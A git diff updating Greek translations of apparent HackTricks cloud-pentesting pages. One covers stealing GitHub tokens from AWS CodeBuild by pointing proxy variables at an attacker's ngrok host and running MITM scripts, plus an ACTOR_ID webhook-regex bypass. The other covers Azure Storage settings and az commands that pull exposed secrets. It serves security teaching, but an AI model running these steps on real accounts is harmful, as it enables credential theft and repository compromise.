mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 22:51:09 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
+41
-41
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Ανάκτηση Github/Bitbucket Configured Tokens
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
|
||||
Πρώτα, έλεγξε αν υπάρχουν source credentials configured που θα μπορούσες να leak:
|
||||
```bash
|
||||
@@ -10,39 +10,39 @@ aws codebuild list-source-credentials
|
||||
```
|
||||
### Μέσω Docker Image
|
||||
|
||||
Αν διαπιστώσετε ότι έχει ρυθμιστεί αυθεντικοποίηση, π.χ. προς το Github, στον λογαριασμό, μπορείτε να **exfiltrate** αυτή την **access** (**GH token or OAuth token**) κάνοντας το Codebuild να **use a specific Docker image** για να τρέξει το build του project.
|
||||
Αν βρείτε ότι η αυθεντικοποίηση για παράδειγμα στο Github είναι ρυθμισμένη στον λογαριασμό, μπορείτε να **exfiltrate** εκείνη την **πρόσβαση** (**GH token or OAuth token**) αναγκάζοντας το Codebuild να **χρησιμοποιήσει μια συγκεκριμένη Docker image** για να τρέξει το build του έργου.
|
||||
|
||||
Για αυτόν τον σκοπό μπορείτε να **create a new Codebuild project** ή να αλλάξετε το **environment** ενός υπάρχοντος για να ορίσετε την **Docker image**.
|
||||
Για αυτόν τον σκοπό μπορείτε να **δημιουργήσετε ένα νέο Codebuild project** ή να αλλάξετε το **περιβάλλον** ενός υπάρχοντος για να ορίσετε την **Docker image**.
|
||||
|
||||
Η Docker image που μπορείτε να χρησιμοποιήσετε είναι [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Πρόκειται για μια πολύ βασική Docker image που θα ορίσει τις **env variables `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης του host που υποδεικνύεται στα **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**.
|
||||
Η Docker image που μπορείτε να χρησιμοποιήσετε είναι [https://github.com/carlospolop/docker-mitm](https://github.com/carlospolop/docker-mitm). Πρόκειται για μια πολύ βασική Docker image που θα ορίσει τις **μεταβλητές περιβάλλοντος `https_proxy`**, **`http_proxy`** και **`SSL_CERT_FILE`**. Αυτό θα σας επιτρέψει να υποκλέψετε το μεγαλύτερο μέρος της κίνησης προς τον host που υποδεικνύεται στις **`https_proxy`** και **`http_proxy`** και να εμπιστευτείτε το SSL CERT που υποδεικνύεται στο **`SSL_CERT_FILE`**.
|
||||
|
||||
1. **Create & Upload your own Docker MitM image**
|
||||
- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας και το SSL cert και **build the docker image**.
|
||||
- **DO NOT SET `http_proxy`** ώστε να μην υποκλέπτονται αιτήματα προς το metadata endpoint.
|
||||
- Μπορείτε να χρησιμοποιήσετε **`ngrok`** όπως `ngrok tcp 4444` για να ορίσετε τον proxy στον host σας
|
||||
- Μόλις έχετε τη Docker image χτισμένη, **upload it to a public repo** (Dockerhub, ECR...)
|
||||
2. **Set the environment**
|
||||
- Δημιουργήστε ένα **new Codebuild project** ή **modify** το environment ενός υπάρχοντος.
|
||||
- Ορίστε το project να χρησιμοποιεί την **previously generated Docker image**
|
||||
1. **Δημιουργήστε & Ανεβάστε τη δική σας Docker MitM image**
|
||||
- Ακολουθήστε τις οδηγίες του repo για να ορίσετε τη διεύθυνση IP του proxy σας και το SSL cert και να **χτίσετε την Docker image**.
|
||||
- **DO NOT SET `http_proxy`** ώστε να μην υποκλέπτονται αιτήσεις προς το metadata endpoint.
|
||||
- Μπορείτε να χρησιμοποιήσετε το **`ngrok`** όπως `ngrok tcp 4444` για να ορίσετε τον proxy στον host σας
|
||||
- Μόλις έχετε την Docker image χτισμένη, **ανεβάστε την σε ένα δημόσιο repo** (Dockerhub, ECR...)
|
||||
2. **Ρυθμίστε το περιβάλλον**
|
||||
- Δημιουργήστε ένα **νέο Codebuild project** ή **τροποποιήστε** το περιβάλλον ενός υπάρχοντος.
|
||||
- Ορίστε το project να χρησιμοποιεί την **προηγουμένως δημιουργημένη Docker image**
|
||||
|
||||
<figure><img src="../../../../images/image (23).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
3. **Set the MitM proxy in your host**
|
||||
3. **Ορίστε τον MitM proxy στον host σας**
|
||||
|
||||
- Όπως υποδεικνύει το **Github repo** μπορείτε να χρησιμοποιήσετε κάτι σαν:
|
||||
- Όπως υποδεικνύεται στο **Github repo** μπορείτε να χρησιμοποιήσετε κάτι σαν:
|
||||
```bash
|
||||
mitmproxy --listen-port 4444 --allow-hosts "github.com"
|
||||
```
|
||||
> [!TIP]
|
||||
> Η **έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1**, αναφέρθηκε ότι με την έκδοση 10 αυτό μπορεί να μην λειτουργεί.
|
||||
> Η **έκδοση του mitmproxy που χρησιμοποιήθηκε ήταν 9.0.1**, αναφέρθηκε ότι με την έκδοση 10 αυτό ίσως να μην λειτουργεί.
|
||||
|
||||
4. **Εκτελέστε το build & capture the credentials**
|
||||
4. **Εκτελέστε το build & καταγράψτε τα credentials**
|
||||
|
||||
- Μπορείτε να δείτε το token στην κεφαλίδα **Authorization**:
|
||||
|
||||
<figure><img src="../../../../images/image (273).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι σαν
|
||||
Αυτό μπορεί επίσης να γίνει από το aws cli με κάτι όπως
|
||||
```bash
|
||||
# Create project using a Github connection
|
||||
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json
|
||||
@@ -73,15 +73,15 @@ aws codebuild start-build --project-name my-project2
|
||||
```
|
||||
### Μέσω insecureSSL
|
||||
|
||||
**Codebuild** projects have a setting called **`insecureSsl`** that is hidden in the web you can only change it from the API.\
|
||||
Ενεργοποιώντας την, επιτρέπει στο Codebuild να συνδεθεί στο αποθετήριο **χωρίς έλεγχο του πιστοποιητικού** που προσφέρει η πλατφόρμα.
|
||||
**Codebuild** έργα έχουν μια ρύθμιση που ονομάζεται **`insecureSsl`** η οποία είναι κρυμμένη στο web και μπορείς να την αλλάξεις μόνο από το API.\
|
||||
Ενεργοποίηση αυτού επιτρέπει στο **Codebuild** να συνδεθεί στο αποθετήριο **χωρίς να ελέγξει το πιστοποιητικό** που προσφέρει η πλατφόρμα.
|
||||
|
||||
- Πρώτα πρέπει να απαριθμήσετε την τρέχουσα διαμόρφωση με κάτι σαν:
|
||||
- Πρώτα πρέπει να απαριθμήσεις την τρέχουσα διαμόρφωση με κάτι σαν:
|
||||
```bash
|
||||
aws codebuild batch-get-projects --name <proj-name>
|
||||
```
|
||||
- Έπειτα, με τις συλλεγμένες πληροφορίες μπορείς να ενημερώσεις την ρύθμιση του project **`insecureSsl`** σε **`True`**. Το ακόλουθο είναι ένα παράδειγμα της ενημέρωσής μου ενός project — πρόσεξε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξεις από την συλλεγμένη διαμόρφωση).
|
||||
- Επιπλέον, πρόσθεσε επίσης τις env μεταβλητές **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σου ως εξής:
|
||||
- Στη συνέχεια, με τις συλλεγμένες πληροφορίες μπορείτε να ενημερώσετε την ρύθμιση του project **`insecureSsl`** σε **`True`**. Το ακόλουθο είναι ένα παράδειγμα ενημέρωσης project από εμένα — προσέξτε το **`insecureSsl=True`** στο τέλος (αυτό είναι το μόνο που χρειάζεται να αλλάξετε από τη συλλεγμένη διαμόρφωση).
|
||||
- Επιπλέον, προσθέστε και τις μεταβλητές περιβάλλοντος **http_proxy** και **https_proxy** που δείχνουν στο tcp ngrok σας ως εξής:
|
||||
```bash
|
||||
aws codebuild update-project --name <proj-name> \
|
||||
--source '{
|
||||
@@ -115,7 +115,7 @@ aws codebuild update-project --name <proj-name> \
|
||||
]
|
||||
}'
|
||||
```
|
||||
- Στη συνέχεια, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που υποδεικνύουν οι μεταβλητές proxy (http_proxy και https_proxy)
|
||||
- Έπειτα, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που υποδεικνύουν οι μεταβλητές proxy (http_proxy και https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -128,24 +128,24 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Τέλος, κάντε κλικ στο **Build the project**, τα **credentials** θα σταλούν **σε απλό κείμενο** (base64) στη θύρα του mitm:
|
||||
- Τέλος, κάντε κλικ στο **Build the project**, οι **credentials** θα σταλούν σε **clear text** (base64) στην mitm port:
|
||||
|
||||
<figure><img src="../../../../images/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### ~~Μέσω HTTP πρωτοκόλλου~~
|
||||
### ~~Μέσω του πρωτοκόλλου HTTP~~
|
||||
|
||||
> [!TIP] > **This vulnerability διορθώθηκε από την AWS κάποια στιγμή την εβδομάδα της 20ής Φεβρουαρίου 2023 (νομίζω Παρασκευή). Οπότε ένας attacker δεν μπορεί να το εκμεταλλευτεί πια :)**
|
||||
> [!TIP] > **This vulnerability was corrected by AWS at some point the week of the 20th of Feb of 2023 (I think on Friday). So an attacker can't abuse it anymore :)**
|
||||
|
||||
Ένας attacker με **elevated permissions σε ένα CodeBuild θα μπορούσε να leak το Github/Bitbucket token** που έχει ρυθμιστεί ή αν τα permissions είχαν ρυθμιστεί μέσω OAuth, το **temporary OAuth token που χρησιμοποιείται για πρόσβαση στον κώδικα**.
|
||||
Ένας attacker με **elevated permissions σε ένα CodeBuild θα μπορούσε να leak το Github/Bitbucket token** που έχει ρυθμιστεί ή αν τα permissions είχαν ρυθμιστεί μέσω OAuth, το **temporary OAuth token used to access the code**.
|
||||
|
||||
- Ένας attacker θα μπορούσε να προσθέσει τις environment variables **http_proxy** και **https_proxy** στο CodeBuild project που δείχνουν στη μηχανή του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`).
|
||||
- Ένας attacker θα μπορούσε να προσθέσει τις environment variables **http_proxy** και **https_proxy** στο CodeBuild project δείχνοντάς τες στη μηχανή του (για παράδειγμα `http://5.tcp.eu.ngrok.io:14972`).
|
||||
|
||||
<figure><img src="../../../../images/image (232).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../../images/image (213).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
- Μετά, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Έπειτα, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στη θύρα που δείχνουν οι proxy μεταβλητές (http_proxy και https_proxy)
|
||||
- Στη συνέχεια, αλλάξτε το URL του github repo ώστε να χρησιμοποιεί HTTP αντί για HTTPS, για παράδειγμα: `http://github.com/carlospolop-forks/TestActions`
|
||||
- Τέλος, τρέξτε το βασικό παράδειγμα από [https://github.com/synchronizing/mitm](https://github.com/synchronizing/mitm) στην πόρτα που δείχνουν οι μεταβλητές proxy (http_proxy και https_proxy)
|
||||
```python
|
||||
from mitm import MITM, protocol, middleware, crypto
|
||||
|
||||
@@ -158,30 +158,30 @@ certificate_authority = crypto.CertificateAuthority()
|
||||
)
|
||||
mitm.run()
|
||||
```
|
||||
- Στη συνέχεια, κάντε κλικ στο **Build the project** ή ξεκινήστε το build από τη γραμμή εντολών:
|
||||
- Στη συνέχεια, κάντε κλικ στο **Δημιουργία έργου** ή ξεκινήστε την κατασκευή από τη γραμμή εντολών:
|
||||
```sh
|
||||
aws codebuild start-build --project-name <proj-name>
|
||||
```
|
||||
- Τέλος, τα **credentials** θα **σταλούν σε clear text** (base64) στο mitm port:
|
||||
- Τέλος, τα **διαπιστευτήρια** θα **αποστέλλονται σε απλό κείμενο** (base64) στην πόρτα mitm:
|
||||
|
||||
<figure><img src="../../../../images/image (159).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!WARNING]
|
||||
> Τώρα ένας attacker θα μπορεί να χρησιμοποιήσει το token από το μηχάνημά του, να απαριθμήσει όλα τα προνόμια που έχει και να τα (ab)use πιο εύκολα από ό,τι χρησιμοποιώντας την υπηρεσία CodeBuild άμεσα.
|
||||
> Τώρα ένας επιτιθέμενος θα μπορεί να χρησιμοποιήσει το token από τη μηχανή του, να απαριθμήσει όλα τα προνόμια που έχει και να τα (κακο)χρησιμοποιήσει πιο εύκολα απ' ό,τι χρησιμοποιώντας απευθείας την υπηρεσία CodeBuild.
|
||||
|
||||
## Webhook filter ACTOR_ID regex allowlist bypass (PR-triggered privileged builds)
|
||||
|
||||
Λανθασμένα διαμορφωμένα CodeBuild GitHub webhooks που χρησιμοποιούν μη αγκυρωμένα `ACTOR_ID` regexes επιτρέπουν σε *untrusted* PRs να ξεκινήσουν privileged builds. Αν η allowlist είναι σαν `123456|7890123` χωρίς `^`/`$`, οποιοδήποτε ID που περιέχει μία από αυτές τις υποσυμβολοσειρές ταιριάζει. Επειδή τα GitHub user IDs είναι διαδοχικά, ένας attacker μπορεί να «τρέξει» για να εγγράψει ένα “eclipsing” ID (ένα superstring ενός trusted ID) και να ενεργοποιήσει το build.
|
||||
Κακώς διαμορφωμένα CodeBuild GitHub webhooks που χρησιμοποιούν μη-αγκυρωμένα `ACTOR_ID` regexes επιτρέπουν σε *untrusted* PRs να ξεκινήσουν privileged builds. Αν η allowlist είναι όπως `123456|7890123` χωρίς `^`/`$`, κάθε ID που περιέχει μία από αυτές τις υποσυμβολοσειρές ταιριάζει. Εφόσον τα GitHub user IDs είναι διαδοχικά, ένας επιτιθέμενος μπορεί να ανταγωνιστεί για να εγγράψει ένα “eclipsing” ID (ένα superstring ενός εμπιστευμένου ID) και να πυροδοτήσει το build.
|
||||
|
||||
**Exploit path**
|
||||
|
||||
1. Βρείτε δημόσια CodeBuild projects που εκθέτουν webhook filters και εξάγετε μια μη αγκυρωμένη `ACTOR_ID` allowlist.
|
||||
2. Obtain an eclipsing GitHub ID:
|
||||
- Sample the global ID counter by creating/deleting GitHub orgs (org IDs share the pool).
|
||||
- Pre-stage many GitHub App manifest creations and fire the confirmation URLs when the counter is within ~100 IDs of the target to burst-register a bot ID containing the trusted substring.
|
||||
3. Open a PR from the eclipsing account; the regex matches the substring and the privileged build runs.
|
||||
4. Use build RCE (e.g., dependency install hooks) to dump process memory handling the GitHub credential and recover the PAT/OAuth token.
|
||||
5. With the token’s `repo` scope, invite your account as collaborator/admin and push/approve malicious commits or exfiltrate secrets.
|
||||
1. Βρείτε δημόσια CodeBuild projects που εκθέτουν webhook filters και εξάγετε μια μη-αγκυρωμένη `ACTOR_ID` allowlist.
|
||||
2. Αποκτήστε ένα eclipsing GitHub ID:
|
||||
- Δειγματοληπτήστε τον global ID counter δημιουργώντας/διαγράφοντας GitHub orgs (org IDs μοιράζονται την ίδια pool).
|
||||
- Προ-τοποθετήστε πολλές δημιουργίες GitHub App manifests και ενεργοποιήστε τα confirmation URLs όταν ο μετρητής είναι εντός ~100 IDs από τον στόχο για να εγγράψετε μαζικά ένα bot ID που περιέχει το εμπιστευμένο υποσύνολο.
|
||||
3. Ανοίξτε ένα PR από τον eclipsing λογαριασμό· το regex ταιριάζει το υποσύνολο και το privileged build εκτελείται.
|
||||
4. Χρησιμοποιήστε build RCE (π.χ. dependency install hooks) για να εξάγετε τη μνήμη της διεργασίας που χειρίζεται το GitHub credential και να ανακτήσετε το PAT/OAuth token.
|
||||
5. Με το `repo` scope του token, προσκαλέστε τον λογαριασμό σας ως collaborator/admin και κάντε push/approve κακόβουλων commits ή εξαγάγετε secrets.
|
||||
|
||||
## References
|
||||
- [Wiz: CodeBreach – AWS CodeBuild ACTOR_ID regex bypass and token theft](https://www.wiz.io/blog/wiz-research-codebreach-vulnerability-aws-codebuild)
|
||||
|
||||
@@ -2,74 +2,74 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Βασικές Πληροφορίες
|
||||
## Βασικές πληροφορίες
|
||||
|
||||
Azure Storage Accounts είναι θεμελιώδεις υπηρεσίες στο Microsoft Azure που παρέχουν επεκτάσιμο, ασφαλές και υψηλά διαθέσιμο cloud **storage για διάφορους τύπους δεδομένων**, συμπεριλαμβανομένων των blobs (binary large objects), files, queues και tables. Λειτουργούν ως containers που ομαδοποιούν αυτές τις διαφορετικές υπηρεσίες αποθήκευσης κάτω από ένα ενιαίο namespace για εύκολη διαχείριση.
|
||||
Azure Storage Accounts είναι θεμελιώδεις υπηρεσίες στο Microsoft Azure που παρέχουν κλιμακούμενη, ασφαλή και υψηλής διαθεσιμότητας cloud **αποθήκευση για διάφορους τύπους δεδομένων**, συμπεριλαμβανομένων των blobs (binary large objects), files, queues και tables. Λειτουργούν ως containers που ομαδοποιούν αυτές τις διαφορετικές υπηρεσίες αποθήκευσης κάτω από ένα μοναδικό namespace για εύκολη διαχείριση.
|
||||
|
||||
**Κύριες επιλογές ρύθμισης**:
|
||||
**Κύριες επιλογές διαμόρφωσης**:
|
||||
|
||||
- Κάθε storage account πρέπει να έχει ένα **μοναδικό όνομα σε όλο το Azure**.
|
||||
- Κάθε storage account αναπτύσσεται σε μια **περιοχή (region)** ή σε μια επεκταμένη ζώνη Azure.
|
||||
- Είναι δυνατό να επιλεγεί η **premium** έκδοση του storage account για καλύτερη απόδοση.
|
||||
- Είναι δυνατό να επιλεγεί ανάμεσα σε **4 τύπους redundancy για προστασία** απέναντι σε αποτυχίες rack, drive και datacenter.
|
||||
- Κάθε storage account αναπτύσσεται σε μια **περιοχή (region)** ή σε μια επεκταμένη ζώνη Azure
|
||||
- Είναι δυνατή η επιλογή της **premium** έκδοσης του storage account για καλύτερες επιδόσεις
|
||||
- Είναι δυνατή η επιλογή ανάμεσα σε **4 τύπους redundancy για προστασία** από αποτυχίες rack, drive και datacenter.
|
||||
|
||||
**Επιλογές ρύθμισης ασφάλειας**:
|
||||
**Επιλογές διαμόρφωσης ασφάλειας**:
|
||||
|
||||
- **Require secure transfer for REST API operations**: Απαιτεί TLS σε οποιαδήποτε επικοινωνία με το storage.
|
||||
- **Allows enabling anonymous access on individual containers**: Αν δεν επιτρέπεται, δεν θα είναι δυνατό να ενεργοποιηθεί anonymous access στο μέλλον.
|
||||
- **Enable storage account key access**: Αν δεν ενεργοποιηθεί, η πρόσβαση με Shared Keys θα απαγορευτεί.
|
||||
- **Require secure transfer for REST API operations**: Απαιτεί TLS σε οποιαδήποτε επικοινωνία με το storage
|
||||
- **Allows enabling anonymous access on individual containers**: Αν δεν είναι ενεργό, δεν θα είναι δυνατό να ενεργοποιηθεί anonymous access στο μέλλον
|
||||
- **Enable storage account key access**: Αν δεν είναι ενεργό, η πρόσβαση με Shared Keys θα απαγορεύεται
|
||||
- **Minimum TLS version**
|
||||
- **Permitted scope for copy operations**: Επιτρέπει από οποιοδήποτε storage account, από οποιοδήποτε storage account του ίδιου Entra tenant ή από storage account με private endpoints στο ίδιο virtual network.
|
||||
- **Permitted scope for copy operations**: Να επιτρέπεται από οποιοδήποτε storage account, από οποιοδήποτε storage account μέσα στον ίδιο Entra tenant ή από storage account με private endpoints στο ίδιο virtual network.
|
||||
|
||||
**Blob Storage options**:
|
||||
|
||||
- **Allow cross-tenant replication**
|
||||
- **Access tier**: Hot (συχνά προσπελάσιμα δεδομένα), Cool και Cold (σπάνια προσπελάσιμα δεδομένα)
|
||||
|
||||
**Δικτυακές επιλογές**:
|
||||
**Networking options**:
|
||||
|
||||
- **Network access**:
|
||||
- Επιτρέπεται από όλα τα networks
|
||||
- Επιτρέπεται από επιλεγμένα virtual networks και IP διευθύνσεις
|
||||
- Απενεργοποίηση δημόσιας πρόσβασης και χρήση private access
|
||||
- **Private endpoints**: Επιτρέπει μια ιδιωτική σύνδεση στο storage account από ένα virtual network
|
||||
- Allow from all networks
|
||||
- Allow from selected virtual networks and IP addresses
|
||||
- Disable public access and use private access
|
||||
- **Private endpoints**: Επιτρέπει ιδιωτική σύνδεση στο storage account από ένα virtual network
|
||||
|
||||
**Επιλογές προστασίας δεδομένων**:
|
||||
|
||||
- **Point-in-time restore for containers**: Επιτρέπει την επαναφορά containers σε προηγούμενη κατάσταση.
|
||||
- Απαιτεί να είναι ενεργοποιημένα versioning, change feed και blob soft delete.
|
||||
- **Enable soft delete for blobs**: Ενεργοποιεί περίοδο retention σε ημέρες για διαγραμμένα blobs (ακόμη και overwritten).
|
||||
- **Enable soft delete for containers**: Ενεργοποιεί περίοδο retention σε ημέρες για διαγραμμένους containers.
|
||||
- **Enable soft delete for file shares**: Ενεργοποιεί περίοδο retention σε ημέρες για διαγραμμένα file shares.
|
||||
- **Enable versioning for blobs**: Διατηρεί προηγούμενες εκδόσεις των blobs.
|
||||
- **Enable blob change feed**: Κρατά logs από δημιουργία, τροποποίηση και διαγραφή αλλαγών στα blobs.
|
||||
- **Enable version-level immutability support**: Επιτρέπει να οριστεί πολιτική time-based retention σε επίπεδο account που θα εφαρμόζεται σε όλες τις blob versions.
|
||||
- Version-level immutability support και point-in-time restore for containers δεν μπορούν να ενεργοποιηθούν ταυτόχρονα.
|
||||
- **Point-in-time restore for containers**: Επιτρέπει την αποκατάσταση containers σε προηγούμενη κατάσταση
|
||||
- Απαιτεί την ενεργοποίηση versioning, change feed και blob soft delete.
|
||||
- **Enable soft delete for blobs**: Ενεργοποιεί περίοδο διατήρησης σε ημέρες για διαγεγραμμένα blobs (ακόμα και αν έχουν overwritten)
|
||||
- **Enable soft delete for containers**: Ενεργοποιεί περίοδο διατήρησης σε ημέρες για διαγραμμένα containers
|
||||
- **Enable soft delete for file shares**: Ενεργοποιεί περίοδο διατήρησης σε ημέρες για διαγραμμένα file shares
|
||||
- **Enable versioning for blobs**: Διατηρεί προηγούμενες εκδόσεις των blobs
|
||||
- **Enable blob change feed**: Διατηρεί logs για δημιουργία, τροποποίηση και διαγραφή αλλαγών σε blobs
|
||||
- **Enable version-level immutability support**: Σας επιτρέπει να ορίσετε πολιτική διατήρησης με βάση τον χρόνο σε επίπεδο account που θα εφαρμόζεται σε όλες τις εκδόσεις των blobs.
|
||||
- Η version-level immutability support και το point-in-time restore for containers δεν μπορούν να ενεργοποιηθούν ταυτόχρονα.
|
||||
|
||||
**Επιλογές κρυπτογράφησης**:
|
||||
|
||||
- **Encryption type**: Είναι δυνατό να χρησιμοποιηθούν Microsoft-managed keys (MMK) ή Customer-managed keys (CMK).
|
||||
- **Enable infrastructure encryption**: Επιτρέπει διπλή κρυπτογράφηση των δεδομένων "για περισσότερη ασφάλεια".
|
||||
- **Encryption type**: Είναι δυνατό να χρησιμοποιηθούν Microsoft-managed keys (MMK) ή Customer-managed keys (CMK)
|
||||
- **Enable infrastructure encryption**: Επιτρέπει τη διπλή κρυπτογράφηση των δεδομένων "για περισσότερη ασφάλεια"
|
||||
|
||||
### Storage endpoints
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="197">Storage Service</th><th>Endpoint</th></tr></thead><tbody><tr><td><strong>Blob storage</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Data Lake Storage</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Queue storage</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Table storage</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Δημόσια Έκθεση
|
||||
### Δημόσια έκθεση
|
||||
|
||||
Αν το "Allow Blob public access" είναι **enabled** (disabled από προεπιλογή), κατά τη δημιουργία ενός container είναι δυνατό να:
|
||||
Αν το "Allow Blob public access" είναι **enabled** (απενεργοποιημένο από προεπιλογή), κατά τη δημιουργία ενός container είναι δυνατό να:
|
||||
|
||||
- Δώσετε **public access to read blobs** (πρέπει να γνωρίζετε το όνομα).
|
||||
- **List container blobs** και να τα **read**.
|
||||
- Δώσετε **δημόσια πρόσβαση για ανάγνωση blobs** (πρέπει να γνωρίζετε το όνομα).
|
||||
- **List container blobs** και **read** αυτά.
|
||||
- Το κάνετε πλήρως **private**
|
||||
|
||||
<figure><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUfoetUnYBPWQpRrWNnnlbqWpl8Rdoaeg5uBrCVlvcNDlnKwQHjZe8nUb2SfPspBgbu-lCZLmUei-hFi_Jl2eKbaxUtBGTjdUSDmkrcwr90VZkmuMjk9tyh92p75btfyzGiUTa0-=s2048?key=m8TV59TrCFPlkiNnmhYx3aZt" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Έκθεση Στατικής ιστοσελίδας (`$web`) & leaked secrets
|
||||
### Static website (`$web`) exposure & leaked secrets
|
||||
|
||||
- **Static websites** σερβίρονται από τον ειδικό `$web` container μέσω ενός region-specific endpoint όπως `https://<account>.z13.web.core.windows.net/`.
|
||||
- Ο `$web` container μπορεί να αναφέρει `publicAccess: null` μέσω του blob API, αλλά τα αρχεία εξακολουθούν να είναι προσβάσιμα μέσω του static site endpoint, οπότε η απόθεση config/IaC artifacts εκεί μπορεί να leak secrets.
|
||||
- Γρήγορη διαδικασία ελέγχου:
|
||||
- **Static websites** σερβίρονται από το ειδικό container `$web` μέσω ενός region-specific endpoint όπως `https://<account>.z13.web.core.windows.net/`.
|
||||
- Το container `$web` μπορεί να αναφέρει `publicAccess: null` μέσω του blob API, αλλά τα αρχεία εξακολουθούν να είναι προσβάσιμα μέσω του static site endpoint, οπότε τοποθετώντας config/IaC artifacts εκεί μπορεί να leak secrets.
|
||||
- Γρήγορη ροή ελέγχου:
|
||||
```bash
|
||||
# Identify storage accounts with static website hosting enabled
|
||||
az storage blob service-properties show --account-name <acc-name> --auth-mode login
|
||||
@@ -80,53 +80,53 @@ az storage blob list --container-name '$web' --account-name <acc-name> --auth-mo
|
||||
# Pull suspicious files directly (e.g., IaC tfvars containing secrets/SAS)
|
||||
az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name <acc-name> --auth-mode login
|
||||
```
|
||||
### Έλεγχος έκθεσης ανώνυμου blob
|
||||
### Έλεγχος ανώνυμης έκθεσης blob
|
||||
|
||||
- **Εντοπίστε storage accounts** που μπορούν να εκθέσουν δεδομένα: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Αν `allowBlobPublicAccess` είναι `false` δεν μπορείτε να κάνετε containers δημόσια.
|
||||
- **Επιθεωρήστε επικίνδυνους λογαριασμούς** για να επιβεβαιώσετε τη σημαία και άλλες ευάλωτες ρυθμίσεις: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Καταγράψτε την έκθεση σε επίπεδο container** όπου η σημαία είναι ενεργοποιημένη:
|
||||
- **Εντοπισμός storage accounts** που μπορούν να εκθέσουν δεδομένα: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. Αν `allowBlobPublicAccess` είναι `false` δεν μπορείτε να κάνετε τα containers δημόσια.
|
||||
- **Επιθεώρηση επικίνδυνων storage accounts** για επιβεβαίωση του flag και άλλων αδύναμων ρυθμίσεων: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
|
||||
- **Απαρίθμηση έκθεσης σε επίπεδο container** όπου το flag είναι ενεργοποιημένο:
|
||||
```bash
|
||||
az storage container list --account-name <acc> \
|
||||
--query '[].{name:name, access:properties.publicAccess}'
|
||||
```
|
||||
- `"Blob"`: οι ανώνυμες αναγνώσεις επιτρέπονται **μόνο όταν το όνομα του Blob είναι γνωστό** (χωρίς δυνατότητα λίστας).
|
||||
- `"Container"`: ανώνυμη **λίστα + ανάγνωση** κάθε blob.
|
||||
- `null`: ιδιωτικό; απαιτείται αυθεντικοποίηση.
|
||||
- `"Blob"`: επιτρέπονται ανώνυμες αναγνώσεις **μόνο όταν είναι γνωστό το όνομα του blob** (χωρίς δυνατότητα λίστας).
|
||||
- `"Container"`: ανώνυμη **λίστα + ανάγνωση** όλων των blob.
|
||||
- `null`: ιδιωτικό· απαιτείται έλεγχος ταυτότητας.
|
||||
- **Αποδείξτε πρόσβαση** χωρίς διαπιστευτήρια:
|
||||
